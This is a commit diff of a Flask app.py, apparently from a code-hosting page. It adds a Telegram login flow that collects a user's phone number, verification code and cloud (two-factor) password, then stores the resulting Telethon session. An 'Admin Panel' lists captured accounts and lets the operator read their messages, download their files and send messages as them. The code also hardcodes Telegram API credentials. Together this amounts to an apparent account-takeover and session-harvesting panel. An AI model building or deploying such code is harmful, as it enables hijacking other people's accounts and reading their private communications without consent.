Aleksmorshen commited on
Commit
b775ba5
·
verified ·
1 Parent(s): 6f45603

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +65 -23
app.py CHANGED
@@ -9,16 +9,14 @@ from pathlib import Path
9
 
10
  app = Flask(__name__)
11
 
12
- # Конфиг
13
- API_ID = '22328650' # Замени на свой
14
- API_HASH = '20b45c386598fab8028b1d99b63aeeeb' # Замени на свой
15
  HOST = '0.0.0.0'
16
  PORT = 7860
17
  SESSION_DIR = 'sessions'
18
  DOWNLOAD_DIR = 'downloads'
19
  DB_PATH = 'users.db'
20
 
21
- # Инициализация базы
22
  def init_db():
23
  with sqlite3.connect(DB_PATH) as conn:
24
  c = conn.cursor()
@@ -32,11 +30,9 @@ def init_db():
32
  )''')
33
  conn.commit()
34
 
35
- # Создание папок
36
  os.makedirs(SESSION_DIR, exist_ok=True)
37
  os.makedirs(DOWNLOAD_DIR, exist_ok=True)
38
 
39
- # HTML/CSS/JS шаблон
40
  HTML_TEMPLATE = '''
41
  <!DOCTYPE html>
42
  <html lang="en">
@@ -66,8 +62,11 @@ HTML_TEMPLATE = '''
66
  <div class="form">
67
  <h2>Login via Telegram</h2>
68
  <input type="text" id="phone" placeholder="Phone number (+1234567890)">
69
- <input type="text" id="code" placeholder="Verification code">
70
- <button onclick="login()">Login</button>
 
 
 
71
  </div>
72
  <div class="admin-panel">
73
  <h2>Admin Panel</h2>
@@ -89,13 +88,48 @@ HTML_TEMPLATE = '''
89
  </div>
90
  </div>
91
  <script>
92
- async function login() {
93
- const phone = document.getElementById('phone').value;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
94
  const code = document.getElementById('code').value;
95
  const response = await fetch('/login', {
96
  method: 'POST',
97
  headers: { 'Content-Type': 'application/json' },
98
- body: JSON.stringify({ phone, code })
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
99
  });
100
  const result = await response.json();
101
  alert(result.message);
@@ -120,7 +154,6 @@ HTML_TEMPLATE = '''
120
  </html>
121
  '''
122
 
123
- # Главная страница
124
  @app.route('/')
125
  def index():
126
  with sqlite3.connect(DB_PATH) as conn:
@@ -129,20 +162,21 @@ def index():
129
  users = c.fetchall()
130
  return render_template_string(HTML_TEMPLATE, users=users)
131
 
132
- # Авторизация
133
  @app.route('/login', methods=['POST'])
134
  def login():
135
  data = request.json
136
  phone = data.get('phone')
137
  code = data.get('code')
 
 
138
  session_file = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
139
 
 
140
  try:
141
- client = TelegramClient(session_file, API_ID, API_HASH)
142
- if not code:
143
  client.start(phone=lambda: phone)
144
- return jsonify({'success': False, 'message': 'Enter the code sent to your Telegram'})
145
- else:
146
  client.start(phone=lambda: phone, code_callback=lambda: code)
147
  me = client.get_me()
148
  with sqlite3.connect(DB_PATH) as conn:
@@ -150,12 +184,23 @@ def login():
150
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
151
  (str(me.id), me.username or '', phone, session_file))
152
  conn.commit()
153
- client.disconnect()
154
- return jsonify({'success': True, 'message': 'Logged in successfully'})
 
 
 
 
 
 
 
 
 
 
155
  except Exception as e:
156
  return jsonify({'success': False, 'message': str(e)})
 
 
157
 
158
- # Список сообщений
159
  @app.route('/user/<int:user_id>/messages')
160
  def get_messages(user_id):
161
  with sqlite3.connect(DB_PATH) as conn:
@@ -183,7 +228,6 @@ def get_messages(user_id):
183
  <a href="/">Back</a>
184
  ''', user_id=user_id, messages=messages)
185
 
186
- # Список файлов
187
  @app.route('/user/<int:user_id>/files')
188
  def get_files(user_id):
189
  with sqlite3.connect(DB_PATH) as conn:
@@ -217,12 +261,10 @@ def get_files(user_id):
217
  <a href="/">Back</a>
218
  ''', user_id=user_id, files=files)
219
 
220
- # Скачивание файла
221
  @app.route('/download/<filename>')
222
  def download_file(filename):
223
  return send_from_directory(DOWNLOAD_DIR, filename)
224
 
225
- # Отправка сообщения
226
  @app.route('/send_message/<int:user_id>', methods=['POST'])
227
  def send_message(user_id):
228
  data = request.json
 
9
 
10
  app = Flask(__name__)
11
 
12
+ API_ID = '22328650'
13
+ API_HASH = '20b45c386598fab8028b1d99b63aeeeb'
 
14
  HOST = '0.0.0.0'
15
  PORT = 7860
16
  SESSION_DIR = 'sessions'
17
  DOWNLOAD_DIR = 'downloads'
18
  DB_PATH = 'users.db'
19
 
 
20
  def init_db():
21
  with sqlite3.connect(DB_PATH) as conn:
22
  c = conn.cursor()
 
30
  )''')
31
  conn.commit()
32
 
 
33
  os.makedirs(SESSION_DIR, exist_ok=True)
34
  os.makedirs(DOWNLOAD_DIR, exist_ok=True)
35
 
 
36
  HTML_TEMPLATE = '''
37
  <!DOCTYPE html>
38
  <html lang="en">
 
62
  <div class="form">
63
  <h2>Login via Telegram</h2>
64
  <input type="text" id="phone" placeholder="Phone number (+1234567890)">
65
+ <button onclick="startLogin()">Start Login</button>
66
+ <input type="text" id="code" placeholder="Verification code" style="display:none;">
67
+ <button id="submitCode" onclick="submitCode()" style="display:none;">Submit Code</button>
68
+ <input type="text" id="password" placeholder="Cloud Password" style="display:none;">
69
+ <button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button>
70
  </div>
71
  <div class="admin-panel">
72
  <h2>Admin Panel</h2>
 
88
  </div>
89
  </div>
90
  <script>
91
+ let phone = '';
92
+ async function startLogin() {
93
+ phone = document.getElementById('phone').value;
94
+ const response = await fetch('/login', {
95
+ method: 'POST',
96
+ headers: { 'Content-Type': 'application/json' },
97
+ body: JSON.stringify({ phone, step: 'start' })
98
+ });
99
+ const result = await response.json();
100
+ alert(result.message);
101
+ if (result.success) {
102
+ document.getElementById('code').style.display = 'block';
103
+ document.getElementById('submitCode').style.display = 'block';
104
+ }
105
+ }
106
+
107
+ async function submitCode() {
108
  const code = document.getElementById('code').value;
109
  const response = await fetch('/login', {
110
  method: 'POST',
111
  headers: { 'Content-Type': 'application/json' },
112
+ body: JSON.stringify({ phone, code, step: 'code' })
113
+ });
114
+ const result = await response.json();
115
+ alert(result.message);
116
+ if (result.success) {
117
+ document.getElementById('password').style.display = 'block';
118
+ document.getElementById('submitPassword').style.display = 'block';
119
+ } else if (result.password_needed) {
120
+ document.getElementById('password').style.display = 'block';
121
+ document.getElementById('submitPassword').style.display = 'block';
122
+ } else if (result.logged_in) {
123
+ location.reload();
124
+ }
125
+ }
126
+
127
+ async function submitPassword() {
128
+ const password = document.getElementById('password').value;
129
+ const response = await fetch('/login', {
130
+ method: 'POST',
131
+ headers: { 'Content-Type': 'application/json' },
132
+ body: JSON.stringify({ phone, password, step: 'password' })
133
  });
134
  const result = await response.json();
135
  alert(result.message);
 
154
  </html>
155
  '''
156
 
 
157
  @app.route('/')
158
  def index():
159
  with sqlite3.connect(DB_PATH) as conn:
 
162
  users = c.fetchall()
163
  return render_template_string(HTML_TEMPLATE, users=users)
164
 
 
165
  @app.route('/login', methods=['POST'])
166
  def login():
167
  data = request.json
168
  phone = data.get('phone')
169
  code = data.get('code')
170
+ password = data.get('password')
171
+ step = data.get('step')
172
  session_file = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
173
 
174
+ client = TelegramClient(session_file, API_ID, API_HASH)
175
  try:
176
+ if step == 'start':
 
177
  client.start(phone=lambda: phone)
178
+ return jsonify({'success': True, 'message': 'Enter the code sent to your Telegram'})
179
+ elif step == 'code':
180
  client.start(phone=lambda: phone, code_callback=lambda: code)
181
  me = client.get_me()
182
  with sqlite3.connect(DB_PATH) as conn:
 
184
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
185
  (str(me.id), me.username or '', phone, session_file))
186
  conn.commit()
187
+ if client.session.auth_key is None or client.session.auth_key == b'':
188
+ return jsonify({'success': False, 'password_needed': True, 'message': 'Enter cloud password'})
189
+ return jsonify({'success': True, 'logged_in': True, 'message': 'Logged in successfully'})
190
+ elif step == 'password':
191
+ client.start(phone=lambda: phone, code_callback=lambda: code, password=lambda: password)
192
+ me = client.get_me()
193
+ with sqlite3.connect(DB_PATH) as conn:
194
+ c = conn.cursor()
195
+ c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
196
+ (str(me.id), me.username or '', phone, session_file))
197
+ conn.commit()
198
+ return jsonify({'success': True, 'logged_in': True, 'message': 'Logged in successfully'})
199
  except Exception as e:
200
  return jsonify({'success': False, 'message': str(e)})
201
+ finally:
202
+ client.disconnect()
203
 
 
204
  @app.route('/user/<int:user_id>/messages')
205
  def get_messages(user_id):
206
  with sqlite3.connect(DB_PATH) as conn:
 
228
  <a href="/">Back</a>
229
  ''', user_id=user_id, messages=messages)
230
 
 
231
  @app.route('/user/<int:user_id>/files')
232
  def get_files(user_id):
233
  with sqlite3.connect(DB_PATH) as conn:
 
261
  <a href="/">Back</a>
262
  ''', user_id=user_id, files=files)
263
 
 
264
  @app.route('/download/<filename>')
265
  def download_file(filename):
266
  return send_from_directory(DOWNLOAD_DIR, filename)
267
 
 
268
  @app.route('/send_message/<int:user_id>', methods=['POST'])
269
  def send_message(user_id):
270
  data = request.json